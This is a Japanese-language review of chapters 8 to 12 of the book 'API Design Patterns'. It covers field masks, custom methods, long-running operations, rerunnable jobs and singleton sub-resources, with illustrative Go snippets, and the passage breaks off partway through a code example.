部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\\"id\\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\\"id\\"` Done bool `json:\\"done\\"` Result interface{} `json:\\"result,omitempty\\"` Error *ErrorInfo `json:\\"error,omitempty\\"` Metadata interface{} `json:\\"metadata,omitempty\\"`}type ErrorInfo struct { Code int `json:\\"code\\"` Message string `json:\\"message\\"` Details map[string]interface{} `json:\\"details,omitempty\\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \\"Operation cancelled by the user.\\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\\"id\\"` ChatRoomID string `json:\\"chatRoomId\\"` Destination string `json:\\"destination\\"` CompressionFormat string `json:\\"compressionFormat\\"` EncryptionKey string `json:\\"encryptionKey\\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\\"operations/backup_%s\\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \\"RUNNING\\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\\"id\\"` JobID string `json:\\"jobId\\"` ExecutionTime time.Time `json:\\"executionTime\\"` SentenceComplexity float64 `json:\\"sentenceComplexity\\"` Sentiment float64 `json:\\"sentiment\\"` AbuseScore float64 `json:\\"abuseScore\\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` LicensePlate string `json:\\"licensePlate\\"`}type DriverLocation struct { ID string `json:\\"id\\"` DriverID string `json:\\"driverId\\"` Latitude float64 `json:\\"latitude\\"` Longitude float64 `json:\\"longitude\\"` UpdatedAt time.Time `json:\\"updatedAt\\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error 